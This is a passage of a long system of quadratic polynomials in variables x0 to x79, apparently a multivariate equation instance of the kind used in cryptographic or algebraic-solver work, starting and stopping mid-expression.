+ x19*x40 + x19*x41 + x19*x42 + x19*x47 + x19*x48 + x19*x51 + x19*x53 + x19*x54 + x19*x59 + x19*x60 + x19*x61 + x19*x63 + x19*x68 + x19*x71 + x19*x73 + x19 + x20*x24 + x20*x25 + x20*x26 + x20*x29 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x40 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x46 + x20*x54 + x20*x56 + x20*x57 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x67 + x20*x70 + x20*x73 + x20*x74 + x20*x75 + x20*x77 + x20*x79 + x21*x22 + x21*x23 + x21*x27 + x21*x30 + x21*x31 + x21*x33 + x21*x34 + x21*x38 + x21*x40 + x21*x42 + x21*x43 + x21*x44 + x21*x45 + x21*x47 + x21*x48 + x21*x51 + x21*x53 + x21*x54 + x21*x56 + x21*x60 + x21*x61 + x21*x66 + x21*x68 + x21*x71 + x21*x72 + x21*x75 + x21*x77 + x21*x78 + x21 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x30 + x22*x33 + x22*x34 + x22*x35 + x22*x38 + x22*x40 + x22*x43 + x22*x45 + x22*x47 + x22*x48 + x22*x50 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x60 + x22*x63 + x22*x65 + x22*x67 + x22*x68 + x22*x69 + x22*x70 + x22*x71 + x22*x73 + x22*x76 + x22*x77 + x22*x78 + x23*x27 + x23*x28 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x36 + x23*x39 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x48 + x23*x49 + x23*x50 + x23*x55 + x23*x58 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x66 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x74 + x23*x75 + x23*x76 + x23*x78 + x23 + x24*x25 + x24*x26 + x24*x27 + x24*x29 + x24*x31 + x24*x32 + x24*x33 + x24*x36 + x24*x37 + x24*x40 + x24*x44 + x24*x48 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x58 + x24*x59 + x24*x63 + x24*x65 + x24*x68 + x24*x70 + x24*x72 + x24*x73 + x24*x77 + x24*x78 + x25*x26 + x25*x28 + x25*x29 + x25*x35 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x51 + x25*x52 + x25*x53 + x25*x56 + x25*x57 + x25*x59 + x25*x60 + x25*x63 + x25*x64 + x25*x66 + x25*x67 + x25*x69 + x25*x73 + x25*x76 + x25*x77 + x25*x78 + x25*x79 + x26*x29 + x26*x32 + x26*x33 + x26*x34 + x26*x38 + x26*x42 + x26*x45 + x26*x47 + x26*x49 + x26*x56 + x26*x57 + x26*x58 + x26*x61 + x26*x62 + x26*x65 + x26*x68 + x26*x70 + x26*x71 + x26*x76 + x26*x79 + x26 + x27*x32 + x27*x33 + x27*x34 + x27*x36 + x27*x37 + x27*x39 + x27*x40 + x27*x46 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x56 + x27*x57 + x27*x60 + x27*x65 + x27*x67 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x77 + x27*x78 + x27 + x28*x34 + x28*x35 + x28*x41 + x28*x43 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x58 + x28*x62 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x71 + x28*x73 + x28*x79 + x29*x30 + x29*x31 + x29*x33 + x29*x34 + x29*x35 + x29*x37 + x29*x38 + x29*x44 + x29*x45 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x58 + x29*x63 + x29*x64 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x70 + x29*x72 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x30*x31 + x30*x37 + x30*x42 + x30*x43 + x30*x44 + x30*x50 + x30*x61 + x30*x62 + x30*x64 + x30*x69 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30 + x31*x34 + x31*x36 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x45 + x31*x47 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x57 + x31*x58 + x31*x59 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x72 + x31*x76 + x31*x77 + x31 + x32*x33 + x32*x34 + x32*x36 + x32*x39 + x32*x41 + x32*x42 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x51 + x32*x54 + x32*x55 + x32*x59 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x66 + x32*x70 + x32*x72 + x32*x73 + x32*x75 + x32*x77 + x32 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x52 + x33*x54 + x33*x58 + x33*x60 + x33*x63 + x33*x64 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x71 + x33*x75 + x33*x76 + x33*x78 + x33*x79 + x34*x38 + x34*x41 + x34*x43 + x34*x44 + x34*x46 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x58 + x34*x59 + x34*x60 + x34*x62 + x34*x63 + x34*x67 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x76 + x34*x79 + x35*x36 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x45 + x35*x46 + x35*x48 + x35*x49 + x35*x50 + x35*x53 + x35*x57 + x35*x58 + x35*x59 + x35*x60 + x35*x63 + x35*x66 + x35*x68 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x75 + x35*x76 + x35*x79 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x42 + x36*x43 + x36*x45 + x36*x48 + x36*x49 + x36*x51 + x36*x55 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x61 + x36*x62 + x36*x63 + x36*x65 + x36*x67 + x36*x71 + x36*x72 + x36*x75 + x37*x38 + x37*x40 + x37*x42 + x37*x44 + x37*x46 + x37*x49 + x37*x51 + x37*x53 + x37*x56 + x37*x61 + x37*x62 + x37*x65 + x37*x74 + x37*x78 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x44 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x50 + x38*x56 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x66 + x38*x70 + x38*x73 + x38*x74 + x38*x79 + x39*x46 + x39*x47 + x39*x48 + x39*x50 + x39*x52 + x39*x54 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x66 + x39*x68 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x47 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x55 + x40*x57 + x40*x59 + x40*x60 + x40*x61 + x40*x63 + x40*x70 + x40*x71 + x40*x73 + x40*x75 + x40*x76 + x40*x77 + x40*x79 + x41*x42 + x41*x43 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x50 + x41*x52 + x41*x56 + x41*x57 + x41*x58 + x41*x62 + x41*x65 + x41*x67 + x41*x70 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x42*x43 + x42*x44 + x42*x46 + x42*x50 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x73 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x43*x45 + x43*x46 + x43*x48 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x54 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x67 + x43*x71 + x43*x74 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x47 + x44*x48 + x44*x49 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x56 + x44*x57 + x44*x61 + x44*x62 + x44*x63 + x44*x67 + x44*x74 + x44*x75 + x44 + x45*x47 + x45*x51 + x45*x53 + x45*x56 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x63 + x45*x65 + x45*x67 + x45*x68 + x45*x71 + x45*x72 + x45*x76 + x45*x77 + x45*x79 + x46*x47 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x54 + x46*x55 + x46*x57 + x46*x60 + x46*x63 + x46*x65 + x46*x66 + x46*x70 + x46*x73 + x46*x74 + x46*x77 + x46 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x63 + x47*x65 + x47*x67 + x47*x68 + x47*x69 + x47*x70 + x47*x73 + x47*x77 + x47*x78 + x47*x79 + x47 + x48*x52 + x48*x53 + x48*x57 + x48*x61 + x48*x62 + x48*x63 + x48*x65 + x48*x66 + x48*x69 + x48*x70 + x48*x72 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x57 + x49*x58 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x69 + x49*x70 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x77 + x50*x51 + x50*x53 + x50*x54 + x50*x55 + x50*x57 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x63 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x75 + x50*x76 + x50*x79 + x50 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x58 + x51*x61 + x51*x64 + x51*x65 + x51*x67 + x51*x68 + x51*x69 + x51*x71 + x51*x72 + x51*x73 + x51*x76 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x67 + x52*x68 + x52*x69 + x52*x71 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x77 + x52 + x53*x54 + x53*x59 + x53*x61 + x53*x64 + x53*x66 + x53*x67 + x53*x69 + x53*x71 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x77 + x53*x78 + x54*x55 + x54*x56 + x54*x57 + x54*x59 + x54*x67 + x54*x68 + x54*x69 + x54*x75 + x54*x78 + x54*x79 + x55*x56 + x55*x59 + x55*x60 + x55*x62 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x70 + x55*x72 + x55*x74 + x55*x76 + x55*x79 + x55 + x56*x58 + x56*x60 + x56*x61 + x56*x64 + x56*x65 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x74 + x56*x77 + x56*x78 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x63 + x57*x65 + x57*x66 + x57*x70 + x57*x75 + x57*x76 + x57*x78 + x57*x79 + x57 + x58*x61 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x68 + x58*x71 + x58*x74 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x73 + x59*x76 + x59*x78 + x59*x79 + x59 + x60*x61 + x60*x63 + x60*x66 + x60*x67 + x60*x70 + x60*x75 + x60*x76 + x60*x78 + x61*x67 + x61*x70 + x61*x71 + x61*x72 + x61*x74 + x61*x75 + x61*x78 + x62*x63 + x62*x65 + x62*x66 + x62*x67 + x62*x69 + x62*x72 + x62*x76 + x62*x77 + x62*x78 + x62 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x71 + x64*x65 + x64*x69 + x64*x71 + x64*x73 + x64*x75 + x64*x77 + x64*x78 + x64 + x65*x66 + x65*x70 + x65*x71 + x65*x77 + x65 + x66*x67 + x66*x69 + x66*x70 + x66*x72 + x66*x74 + x66*x77 + x66*x79 + x67*x71 + x67*x76 + x67 + x68*x70 + x68*x72 + x68*x74 + x68*x79 + x68 + x69*x70 + x69*x71 + x69*x75 + x69*x76 + x69*x79 + x70*x73 + x70*x74 + x70*x75 + x70*x76 + x70*x77 + x70*x79 + x70 + x72*x74 + x72*x75 + x72*x76 + x73*x74 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x75*x77 + x75*x78 + x76*x77 + x76*x79 + x76 + x77*x78 + x78*x79 + x78 + x79 + 1, x0*x1 + x0*x3 + x0*x8 + x0*x9 + x0*x12 + x0*x13 + x0*x16 + x0*x19 + x0*x21 + x0*x22 + x0*x26 + x0*x29 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x36 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x44 + x0*x45 + x0*x48 + x0*x49 + x0*x52 + x0*x55 + x0*x56 + x0*x61 + x0*x62 + x0*x68 + x0*x72 + x0*x74 + x0*x77 + x0 + x1*x6 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x16 + x1*x17 + x1*x19 + x1*x21 + x1*x23 + x1*x24 + x1*x26 + x1*x27 + x1*x29 + x1*x31 + x1*x32 + x1*x34 + x1*x36 + x1*x38 + x1*x39 + x1*x41 + x1*x44 + x1*x45 + x1*x48 + x1*x49 + x1*x50 + x1*x55 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x64 + x1*x68 + x1*x69 + x1*x72 + x1*x73 + x1*x74 + x1*x77 + x1*x78 + x1*x79 + x1 + x2*x4 + x2*x5 + x2*x8 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x19 + x2*x21 + x2*x22 + x2*x24 + x2*x25 + x2*x27 + x2*x28 + x2*x33 + x2*x34 + x2*x38 + x2*x39 + x2*x41 + x2*x47 + x2*x49 + x2*x52 + x2*x55 + x2*x57 + x2*x59 + x2*x61 + x2*x64 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x76 + x2*x77 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x12 + x3*x13 + x3*x14 + x3*x15 + x3*x16 + x3*x20 + x3*x22 + x3*x23 + x3*x25 + x3*x29 + x3*x35 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x45 + x3*x46 + x3*x47 + x3*x50 + x3*x51 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x66 + x3*x67 + x3*x70 + x3*x71 + x3*x73 + x3*x75 + x3*x77 + x3*x79 + x4*x5 + x4*x7 + x4*x9 + x4*x11 + x4*x14 + x4*x15 + x4*x18 + x4*x19 + x4*x22 + x4*x25 + x4*x26 + x4*x28 + x4*x29 + x4*x33 + x4*x34 + x4*x37 + x4*x38 + x4*x40 + x4*x44 + x4*x45 + x4*x46 + x4*x48 + x4*x50 + x4*x57 + x4*x59 + x4*x62 + x4*x63 + x4*x65 + x4*x67 + x4*x68 + x4*x70 + x4*x75 + x4*x77 + x4 + x5*x7 + x5*x8 + x5*x10 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x20 + x5*x22 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x29 + x5*x32 + x5*x35 + x5*x36 + x5*x38 + x5*x42 + x5*x44 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x55 + x5*x57 + x5*x58 + x5*x61 + x5*x62 + x5*x65 + x5*x68 + x5*x69 + x5*x74 + x6*x9 + x6*x12 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x23 + x6*x24 + x6*x26 + x6*x27 + x6*x30 + x6*x31 + x6*x33 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x41 + x6*x43 + x6*x46 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x56 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x68 + x6*x69 + x6*x75 + x6*x77 + x6*x78 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x16 + x7*x17 + x7*x19 + x7*x20 + x7*x22 + x7*x23 + x7*x26 + x7*x28 + x7*x29 + x7*x30 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x42 + x7*x44 + x7*x45 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x60 + x7*x61 + x7*x63 + x7*x64 + x7*x65 + x7*x70 + x7*x71 + x7*x72 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x9 + x8*x10 + x8*x19 + x8*x20 + x8*x22 + x8*x24 + x8*x25 + x8*x26 + x8*x28 + x8*x30 + x8*x36 + x8*x38 + x8*x40 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x52 + x8*x54 + x8*x55 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x66 + x8*x67 + x8*x68 + x8*x70 + x8*x72 + x8*x73 + x8*x76 + x9*x11 + x9*x12 + x9*x13 + x9*x15 + x9*x17 + x9*x22 + x9*x23 + x9*x24 + x9*x27 + x9*x30 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x45 + x9*x47 + x9*x49 + x9*x52 + x9*x55 + x9*x59 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x78 + x9 + x10*x12 + x10*x14 + x10*x19 + x10*x21 + x10*x22 + x10*x24 + x10*x27 + x10*x29 + x10*x31 + x10*x34 + x10*x35 + x10*x36 + x10*x37 + x10*x41 + x10*x43 + x10*x46 + x10*x48 + x10*x49 + x10*x57 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x66 + x10*x73 + x10*x78 + x10*x79 + x11*x12 + x11*x15 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x25 + x11*x29 + x11*x32 + x11*x33 + x11*x35 + x11*x36 + x11*x38 + x11*x39 + x11*x41 + x11*x42 + x11*x47 + x11*x50 + x11*x53 + x11*x57 + x11*x58 + x11*x60 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x71 + x11*x72 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x14 + x12*x16 + x12*x22 + x12*x24 + x12*x25 + x12*x27 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x33 + x12*x34 + x12*x40 + x12*x43 + x12*x45 + x12*x47 + x12*x48 + x12*x50 + x12*x51 + x12*x53 + x12*x55 + x12*x56 + x12*x58 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x71 + x12*x76 + x12*x78 + x12*x79 + x13*x15 + x13*x16 + x13*x17 + x13*x20 + x13*x21 + x13*x26 + x13*x29 + x13*x30 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x48 + x13*x49 + x13*x50 + x13*x52 + x13*x53 + x13*x55 + x13*x58 + x13*x59 + x13*x62 + x13*x64 + x13*x67 + x13*x68 + x13*x70 + x13*x77 + x13 + x14*x15 + x14*x17 + x14*x19 + x14*x24 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x35 + x14*x41 + x14*x42 + x14*x44 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x63 + x14*x67 + x14*x69 + x14*x72 + x14*x73 + x14*x77 + x14*x78 + x15*x17 + x15*x19 + x15*x20 + x15*x24 + x15*x26 + x15*x29 + x15*x30 + x15*x32 + x15*x33 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x43 + x15*x45 + x15*x46 + x15*x47 + x15*x49 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x59 + x15*x60 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x15*x79 + x16*x18 + x16*x19 + x16*x21 + x16*x25 + x16*x26 + x16*x28 + x16*x30 + x16*x34 + x16*x36 + x16*x39 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x47 + x16*x48 + x16*x49 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x59 + x16*x60 + x16*x64 + x16*x66 + x16*x71 + x16*x72 + x16*x75 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x31 + x17*x36 + x17*x37 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x49 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x57 + x17*x59 + x17*x62 + x17*x63 + x17*x64 + x17*x66 + x17*x68 + x17*x70 + x17*x73 + x17*x74 + x17*x77 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x22 + x18*x24 + x18*x26 + x18*x27 + x18*x28 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x46 + x18*x49 + x18*x51 + x18*x53 + x18*x54 + x18*x56 + x18*x60 + x18*x61 + x18*x63 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x19*x20 + x19*x22 + x19*x28 + x19*x29 + x19*x30 + x19*x33 + x19*x35 + x19*x37 + x19*x40 + x19*x41 + x19*x45 + x19*x46 + x19*x47 + x19*x48 + x19*x52 + x19*x53 + x19*x59 + x19*x64 + x19*x67 + x19*x68 + x19*x69 + x19*x72 + x19*x73 + x19*x76 + x19*x77 + x19 + x20*x24 + x20*x26 + x20*x29 + x20*x30 + x20*x33 + x20*x34 + x20*x38 + x20*x39 + x20*x40 + x20*x43 + x20*x45 + x20*x46 + x20*x47 + x20*x50 + x20*x51 + x20*x53 + x20*x56 + x20*x57 + x20*x62 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x75 + x20*x79 + x20 + x21*x24 + x21*x27 + x21*x30 + x21*x32 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x40 + x21*x41 + x21*x42 + x21*x45 + x21*x46 + x21*x48 + x21*x49 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x57 + x21*x58 + x21*x60 + x21*x62 + x21*x63 + x21*x66 + x21*x68 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x78 + x22*x24 + x22*x27 + x22*x29 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x40 + x22*x42 + x22*x43 + x22*x45 + x22*x50 + x22*x52 + x22*x53 + x22*x54 + x22*x57 + x22*x58 + x22*x60 + x22*x61 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x70 + x22*x72 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x32 + x23*x33 + x23*x35 + x23*x36 + x23*x37 + x23*x40 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x50 + x23*x51 + x23*x52 + x23*x53 + x23*x54 + x23*x58 + x23*x59 + x23*x61 + x23*x62 + x23*x65 + x23*x66 + x23*x67 + x23*x69 + x23*x70 + x23*x73 + x23*x75 + x23*x76 + x23*x77 + x23*x78 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x30 + x24*x37 + x24*x40 + x24*x41 + x24*x43 + x24*x47 + x24*x48 + x24*x53 + x24*x60 + x24*x61 + x24*x63 + x24*x65 + x24*x68 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x31 + x25*x35 + x25*x38 + x25*x42 + x25*x43 + x25*x44 + x25*x46 + x25*x47 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x66 + x25*x67 + x25*x70 + x25*x71 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x25 + x26*x29 + x26*x30 + x26*x32 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x39 + x26*x41 + x26*x44 + x26*x46 + x26*x49 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x60 + x26*x61 + x26*x64 + x26*x65 + x26*x67 + x26*x68 + x26*x70 + x26*x71 + x26*x73 + x26*x74 + x26*x75 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x29 + x27*x30 + x27*x34 + x27*x39 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x46 + x27*x47 + x27*x50 + x27*x53 + x27*x54 + x27*x57 + x27*x58 + x27*x59 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x68 + x27*x70 + x27*x71 + x27*x75 + x27*x79 + x28*x29 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x37 + x28*x44 + x28*x48 + x28*x50 + x28*x52 + x28*x53 + x28*x58 + x28*x60 + x28*x61 + x28*x63 + x28*x68 + x28*x74 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x29*x30 + x29*x32 + x29*x33 + x29*x36 + x29*x40 + x29*x42 + x29*x44 + x29*x46 + x29*x48 + x29*x52 + x29*x54 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x68 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x29*x78 + x30*x38 + x30*x39 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x49 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x63 + x30*x65 + x30*x66 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x43 + x31*x46 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x55 + x31*x57 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x72 + x31*x75 + x31*x78 + x31*x79 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x63 + x32*x65 + x32*x67 + x32*x71 + x32*x75 + x32*x76 + x32*x77 + x32*x78 + x33*x37 + x33*x41 + x33*x42 + x33*x47 + x33*x48 + x33*x49 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x58 + x33*x60 + x33*x64 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x70 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x39 + x34*x40 + x34*x42 + x34*x44 + x34*x52 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x60 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x69 + x34*x72 + x34*x74 + x34*x75 + x34*x79 + x35*x37 + x35*x39 + x35*x40 + x35*x42 + x35*x44 + x35*x45 + x35*x46 + x35*x50 + x35*x53 + x35*x54 + x35*x55 + x35*x58 + x35*x61 + x35*x64 + x35*x65 + x35*x66 + x35*x68 + x35*x69 + x35*x70 + x35*x73 + x35*x74 + x35*x75 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x46 + x36*x51 + x36*x52 + x36*x53 + x36*x58 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x65 + x36*x67 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x75 + x36*x77 + x36*x79 + x36 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x48 + x37*x49 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x56 + x37*x58 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x69 + x37*x71 + x37*x72 + x37*x74 + x37*x76 + x37*x79 + x37 + x38*x39 + x38*x42 + x38*x48 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x61 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x70 + x38*x72 + x38*x74 + x39*x40 + x39*x41 + x39*x42 + x39*x44 + x39*x46 + x39*x51 + x39*x52 + x39*x62 + x39*x64 + x39*x66 + x39*x69 + x39*x73 + x39*x74 + x40*x43 + x40*x45 + x40*x46 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x56 + x40*x58 + x40*x59 + x40*x62 + x40*x63 + x40*x65 + x40*x67 + x40*x68 